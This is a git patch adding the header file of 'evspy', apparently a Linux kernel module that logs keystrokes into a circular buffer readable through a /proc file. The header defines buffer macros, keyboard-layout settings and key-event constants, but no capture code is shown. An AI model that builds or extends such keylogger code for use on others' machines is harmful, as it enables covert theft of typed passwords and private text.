From 5f78bdac09842192ad1cae0f0e516e9020619ac7 Mon Sep 17 00:00:00 2001
From: Guillermo Ramos
Date: Fri, 16 Sep 2011 17:25:25 +0200
Subject: First functional version of khaskmap

---
 evspy-core.h | 77 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 77 insertions(+)
 create mode 100644 evspy-core.h

(limited to 'evspy-core.h')

diff --git a/evspy-core.h b/evspy-core.h
new file mode 100644
index 0000000..2af9dfe
--- /dev/null
+++ b/evspy-core.h
@@ -0,0 +1,77 @@
+#include <asm/page.h>
+#include <linux/input.h>
+#include "maps.h"
+
+#define EVS_NAME		"evspy"				// driver name
+#define EVS_MAP			map_es				// change this to your keyboard layout
+#define EVS_KLAY		EVS_KLAY_ES			// change default layout to spanish
+#define EVS_TROLL		1					// clear this if you're a serious guy
+#define EVS_BUFSIZE		PAGE_SIZE			// size of the circular buffer (4K)
+#define EVS_PROCNAME	"driver/" EVS_NAME	// virtual file within /proc
+
+#define MIN(x, y)	(x) < (y) ? (x) : (y)
+
+/*
+ * If pointer is at the end of buffer, put it at the beginning.
+ * If not, simply add 1 to it.
+ */
+#define evs_incp(p)		\
+({		\
+	if ((p) == &buffer[EVS_BUFSIZE-1])		\
+		(p) = buffer;		\
+	else		\
+		(p)++;		\
+ 	(p);		\
+})
+
+/*
+ * Same as evs_incp but backwards
+ */
+#define evs_decp(p)		\
+({		\
+	if ((p) == buffer)		\
+		(p) = &buffer[EVS_BUFSIZE-1];		\
+	else		\
+		(p)--;		\
+ 	(p);		\
+})
+
+/*
+ * Insert character c where wrp is pointing and move it to the next char.
+ * If rdp == wrp, increase rdp too.
+ */
+#define evs_insert(c)		\
+({		\
+	*wrp = (c);		\
+	if (evs_incp(wrp) == rdp)		\
+		evs_incp(rdp);		\
+})
+
+/*
+ * Remove a character from the buffer
+ */
+#define evs_delete()		\
+({		\
+	if (wrp != rdp && evs_decp(wrp) == rdp)		\
+		evs_decp(rdp);		\
+})
+
+/*
+ * Is the c event code associated to any of the FX buttons?
+ */
+#define evs_isfX(c)			\
+({		\
+	((c) >= KEY_F1 && (c) <= KEY_F10) ||		\
+	((c) == KEY_F11 || (c) == KEY_F12) ||		\
+	((c) >= KEY_F13 && (c) <= KEY_F24);		\
+})
+
+#define evs_shift(c)		\
+({		\
+	((c) >= 'a' && (c) <= 'z') ? (c) + ('A'-'a') : (c);		\
+})
+
+// Event values
+#define	EVS_VAL_FREE		0
+#define	EVS_VAL_PRESS		1
+#define	EVS_VAL_HOLD		2
-- 
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